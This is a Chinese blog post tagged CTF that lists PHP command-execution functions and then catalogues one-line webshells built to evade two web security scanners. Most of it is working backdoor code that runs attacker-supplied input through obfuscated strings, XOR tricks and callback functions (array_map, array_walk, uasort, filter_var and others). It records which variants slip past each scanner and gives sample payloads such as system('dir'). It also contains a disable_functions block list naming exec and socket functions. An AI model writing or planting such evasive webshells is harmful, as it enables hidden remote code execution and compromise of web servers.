命令执行总结

ctf

Posted by mr_king on September 30, 2020

PHP命令执行函数大全

[TOC]

1. exec()

string exec ( string $command [, array &$output [, int &$return_var ]] )

$command是要执行的命令

$output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败)

exec()函数执行无回显,默认返回最后一行结果

2.system()函数

string system ( string $command [, int &$return_var ] )

$command为执行的命令,&return_var可选,用来存放命令执行后的状态码

system()函数执行有回显,将执行结果输出到页面上

<?php
	system("whoami");
?>

3.passthru()函数

void passthru ( string $command [, int &$return_var ] )

system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码

执行有回显,将执行结果输出到页面上

<?php
	passthru("whoami");
?>

4.shell_exec()函数

string shell_exec( string &command)

&command是要执行的命令

shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面

<?php
	echo shell_exec("whoami");
?>

5. 反引号 `

shell_exec() 函数实际上仅是反撇号 () 操作符的变体****,当禁用shell_exec时, 也不可执行

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

<?php
	echo `whoami`;
?>

5.popen()函数

resource popen ( string $command , string $mode )

函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有rw代表读和写。

函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。

popen()**打开一个指向进程的管道,该进程由派生给定的**command**命令执行而产生。返回一个和**fopen()**所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用**pclose()**来关闭。此指针可以用于**fgets()fgetss()**和 **fwrite()`

<?php popen( 'whoami >> 1.txt', 'r' ); ?>

6. proc_open()函数

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)
<?php  
$test = "ipconfig";  
$array =   array(  
 array("pipe","r"),   //标准输入  
 array("pipe","w"),   //标准输出内容  
 array("pipe","w")    //标准输出错误  
 );  
  
$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  stream_get_contents — 读取资源流到一个字符串
proc_close($fp);  
?>

7.禁用函数

disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

WebShell 免杀马(过安全狗和D盾)

1.eval 与 assert

eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。

可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行。比如 assert 可这样用:

$f='assert';
$f(...);
#未过D盾

此时 $f 就表示 assert,所以 assert 关键词更加灵活,但是 PHP7 中,assert 也不再是函数了,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码.

2.字符串变形

安全狗的规则非常死板,字符串相关函数简单变形一下关键词就可以绕过安全狗的检测了,D 盾的话要严格一点。PHP 内置了一些字符串函数,以下都可以过安全狗。

substr()

substr(string,start,length)

substr() 函数返回字符串的一部分。

参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始; 负数 - 在从字符串结尾开始的指定位置开始; 0 - 在字符串中的第一个字符处开始
length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度; 负数 - 从字符串末端返回的长度

首先我们来一个基础的字符串拼接:

<?php 
    $a = 'a'.'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']); 
?>

也许在很久以前这个是可以过 安全狗的,但是直接扑街了,检测结果如下:

安全狗 D盾
1 个安全风险 assert 变量函数 级别 5 变量函数后门

此时我们使用 substr() 函数稍微截断一下:

<?php 
    $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>

0MP7yn.png

0Mipl9.png

此时是可以执行简单的命令的。因为临时用的 PHPStudy 环境,所以 D 盾没有完全发挥监控的作用,因为 D 盾得在 IIS 环境下测试才可以完全发挥功能,目前我们只临时用 D 盾做 Webshell 查杀的功能。

另外虽然此时这个 Webshell 已经免杀了,且也可以执行任意命令,但是如果我使用中国菜刀或者中国蚁剑之类的一句话客户端工具去连接的话,依然还是会被拦截的,这个涉及到蚁剑的自定义编码和解码器了,这个会在下文中单独介绍,目前这部分内容我们只研究基本的 Webshell 免杀

strtr()

strtr(string,from,to)

strtr() 函数转换字符串中特定的字符。

参数 描述
string 必需。规定要转换的字符串。
from 必需(除非使用数组)。规定要改变的字符。
to 必需(除非使用数组)。规定要改变为的字符。
array 必需(除非使用 fromto)。数组,其中的键名是更改的原始字符,键值是更改的目标字符。

依然对字符串进行简单地处理一下:

<?php 
    $a = strtr('azxcvt','zxcv','sser');
    $a($_POST['x']);
?>

此时就已经过掉安全狗了,D 盾检测级别降到了 1 级,检测结果如下:

安全狗 D盾
0 个安全风险 级别 1 可疑变量函数

substr_replace()

substr_replace(string,replacement,start,length)

substr_replace() 函数把字符串 string 的一部分替换为另一个字符串 replacement。

参数 描述
string 必需。规定要检查的字符串。
replacement 必需。规定要插入的字符串。
start 必需。规定在字符串的何处开始替换。正数 - 在字符串中的指定位置开始替换; 负数 - 在从字符串结尾的指定位置开始替换; 0 - 在字符串中的第一个字符处开始替换
length 可选。规定要替换多少个字符。默认是与字符串长度相同。正数 - 被替换的字符串长度; 负数 - 表示待替换的子字符串结尾处距离 string 末端的字符个数。0 - 插入而非替换
<?php 
    $a = substr_replace("asxxx","sert",2);
    $a($_POST['x']);
?>  
安全狗 D盾
0 个安全风险 级别 1 (可疑)变量函数

trim()

trim(string,charlist)

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符 \0 - NULL; \t - 制表符; \n - 换行; \x0B - 垂直制表符; \r - 回车; 空格
<?php 
    $a = trim(' assert ');
    $a($_POST['x']);
?>
安全狗 D盾
0 个安全风险 级别 4 变量函数后门

0lmXtA.png

函数绕过

函数可以把敏感关键词当做参数传递。

<?php 
    function sqlsec($a){
        $a($_POST['x']);
    }
    sqlsec(assert);
?>
安全狗 D盾
1 个安全风险 assert变量函数 级别 2 变量函数后门

但是换一种方式将$_POST['x']当做参数传递的话就都翻车了:

<?php 
    function sqlsec($a){
        assert($a);
    }
    sqlsec($_POST['x']);
?>
安全狗 D盾
1 个安全风险 assert PHP一句话后门 已知后门

回调函数

常⽤的回调函数⼤部分都无法绕过 WAF 了。

all_user_func()

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

<?php
    call_user_func('assert',$_POST['x']);
?>
安全狗 D盾
1 个安全风险 call_user_func后门 级别 5 (内藏) call_user_func后门

0l3oeP.png

0l3xLq.png

call_user_func_array()

call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

<?php
    call_user_func_array(assert,array($_POST['x']));
?>

不过安全狗和 D 盾都对这个函数进行检测了:

安全狗 D盾
1 个安全风险 call_user_func_array回调后门 级别 4 call_user_func_array

array_filter()

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中,数组的键名保留不变。

<?php
    array_filter(array($_POST['x']),'assert');
?>

依然无法 Bypass

安全狗 D盾
1 个安全风险 array_filter后门 级别 5 array_filter后门

assert 手动 Base64 编码后传入,这样还会把 assert 关键词给去掉了:

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_filter($arr, base64_decode($e));
?>
安全狗 D盾
1 个安全风险 array_filter后门 级别 4 array_filter 参数

array_map()

array_map(myfunction,array1,array2,array3...)
参数 描述
myfunction 必需。用户自定义函数的名称,或者是 null。
array1 必需。规定数组。
array2 可选。规定数组。
array3 可选。规定数组。

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。和 arrray_walk() 函数差不多:

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_map(base64_decode($e), $arr);
?>
    # payload  e=YXNzZXJ0&pass=system('dir');

依然被杀了,检测结果如下:

安全狗 D盾
1 个安全风险 array_map执行 级别 5 已知后门

array_walk()

array_walk(array,myfunction,parameter...)

array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。

参数 描述
array 必需。规定数组。
myfunction 必需。用户自定义函数的名称。
userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。

简单案例:

<?php
function myfunction($value,$key)
{
    echo "The key $key has the value $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction");
?>

运行结果如下:

The key a has the value red
The key b has the value green
The key c has the value blue

根据这个特性手动来写一个 webshell 试试看:

<?php
    function sqlsec($value,$key)
    {   
        $x = $key.$value;
        $x($_POST['x']);
    }
    $a=array("ass"=>"ert");
    array_walk($a,"sqlsec");
?>

这个 array_walk 有点复杂,这里用的是回调函数和自定义函数结合的姿势了。

安全狗 D盾
0 个安全风险 级别 2 (可疑)变量函数

看了下网上其他姿势:

<?php 
  $e = $_REQUEST['e'];
  $arr = array($_POST['x'] => '|.*|e',);
    array_walk($arr, $e, '');
?>

此时提交如下 payload 的话:

shell.php?e=preg_replace

最后就相当于执行了如下语句:

preg_replace('|.*|e',$_POST['x'],'')

这个时候只需要 POST x=phpinfo(); 即可。这种主要是利用了 preg_replace 的 /e 模式进行代码执行。

不过这种方法已经凉了,安全狗和 D 盾均可以识别,而且这种 preg_replace 三参数后门的 /e模式 PHP5.5 以后就废弃了:

安全狗 D盾
1 个安全风险 array_walk执行 级别 5 已知后门

不过 PHP 止中不止 preg_replace 函数可以执行 eval 的功能,还有下面几个类似的:

mb_ereg_replace

mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string

类似于 preg_replace 函数一样,也可以通过 e 修饰符来执行命令:

<?php 
    mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
?>

preg_filter

mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_filter() 等价于 preg_replace() ,但它仅仅返回与目标匹配的结果。

<?php 
    preg_filter('|\d|e', $_REQUEST['x'], '2');
?>

只是比较可惜,都无法过狗和D盾了。不过问题不大,感兴趣小伙伴可以去查阅 PHP 官方文档,还是可以找到类似函数的,可以过狗和D盾

<?php 
    mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
?>

array_walk_recursive()

array_walk_recursive(array,myfunction,parameter...)

array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。该函数与 array_walk()函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

参数 描述
array 必需。规定数组。
myfunction 必需。用户自定义函数的名称。
userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。
<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'] => '|.*|e',);
    array_walk_recursive($arr, $e, '');
?>
安全狗 D盾
1 个安全风险 php后门回调木马 级别 5 已知后门

array_reduce()

array_reduce(array,myfunction,initial)

array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。

参数 描述
array 必需。规定数组。
myfunction 必需。规定函数的名称。
initial 可选。规定发送到函数的初始值。
<?php
    $e = $_REQUEST['e'];
    $arr = array(1);
    array_reduce($arr, $e, $_POST['x']);
?>
    
<?php
    function sqlsec($value,$key)
    {   
        $x = $key.$value;
        print_r($x);
        $x($_POST['x']);
    }
    $a=array("assert");
    array_reduce($a,"sqlsec");
?>

POST 提交如下数据:e=assert&x=phpinfo(); 但是目前已经无法过狗了。

安全狗 D盾
1 个安全风险 array_reduce执行 级别 5 已知后门

array_udiff()

array_diff(array1,array2,myfunction...);

array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。

参数 描述
array1 必需。与其他数组进行比较的第一个数组。
array2 必需。与第一个数组进行比较的数组。
myfunction 回调对照函数。
<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['x']);
    $arr2 = array(1);
    array_udiff($arr, $arr2, $e);
?>

POST 提交如下数据:e=assert&x=phpinfo(); 但是目前已经无法过狗。

安全狗 D盾
1 个安全风险 php后门回调木马 级别 5 已知后门

uasort()

uasort(array,myfunction);

uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。如果成功则返回 TRUE,否则返回 FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。

参数 描述
array 必需。规定要进行排序的数组。
myfunction 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。
<?php
    $e = $_REQUEST['e'];
    $arr = array('test', $_REQUEST['x']);
    uasort($arr, base64_decode($e));
?>

POST 提交的数据如下:e=YXNzZXJ0&x=phpinfo(); 这个后门在 PHP 5.3之后可以正常运行,5.3 会提示 assert 只能有1个参数,这是因为 assert 多参数是后面才开始新增的内容,PHP 5.4.8 及更高版本的用户也可以提供第四个可选参数,如果设置了,用于将 description 指定到 assert()

安全狗 D盾
1 个安全风险 PHP回调木马 级别 4 uasort 参数

uksort()

uksort(array,myfunction);

uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。

参数 描述
array 必需。规定要进行排序的数组。
myfunction 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。
<?php
    $e = $_REQUEST['e'];
    $arr = array('test' => 1, $_REQUEST['x'] => 2);
    uksort($arr, $e);
?>

POST 的内容如下:e=assert&x=phpinfo(); 该方法也不能 Bypass 安全狗了:

安全狗 D盾
1 个安全风险 php后门回调木马 级别 5 已知后门

registregister_shutdown_function()

register_shutdown_function ( callable $callback [, mixed $... ] ) : void

注册一个 callback ,它会在脚本执行完成或者 exit() 后被调用。

<?php
    $e = $_REQUEST['e'];
    register_shutdown_function($e, $_REQUEST['x']);
?>
安全狗 D盾
1 个安全风险 php后门回调木马 级别 5 已知后门

register_tick_function()

register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

注册在调用记号时要执行的给定函数。

<?php
    $e = $_REQUEST['e'];
    declare(ticks=1);
    register_tick_function ($e, $_REQUEST['x']);
?>
    #上面程序中“declare(ticks=1);”代表,每执行一条低级语句,就触发register_tick_function中注册的函数
安全狗 D盾
1 个安全风险 php后门回调木马 级别 5 已知后门

filter_var()

filter_var(variable, filter, options)

filter_var() 函数通过指定的过滤器过滤变量。

参数 描述
variable 必需。规定要过滤的变量。
filter 可选。规定要使用的过滤器的 ID。
options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
<?php
    filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
?>
安全狗 D盾
1 个安全风险 php后门回调木马 级别 5 已知后门

filter_var_array()

filter_var_array(array, args)

filter_var_array() 函数获取多项变量,并进行过滤。

参数 描述
array 必需。规定带有字符串键的数组,包含要过滤的数据。
args 可选。规定过滤器参数数组。合法的数组键是变量名。合法的值是过滤器 ID,或者规定过滤器、标志以及选项的数组。该参数也可以是一个单独的过滤器 ID,如果是这样,输入数组中的所有值由指定过滤器进行过滤。
<?php
    filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>
安全狗 D盾
0级 级别 5 已知后门

异或

P 神的一篇经典文章 一些不包含数字和字母的webshell 里面提到了异或的姿势。我们只要稍微修改一下也可以轻松过掉安全狗:

<?php 
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>

此时就已经过掉安全狗了,D 盾检测级别降到了 3 级,检测结果如下:

安全狗 D盾
0 个安全风险 级别 3 变量函数

安全狗:

1.array_filter
2.array_map
3.array_udiff
4.array_walk
5.array_walk_recursive
6.call_user_func
7.call_user_func_array
8.filter_var
9.register_shutdown_function
10.register_tick_function
11.uasort

D盾

0YH3rt.png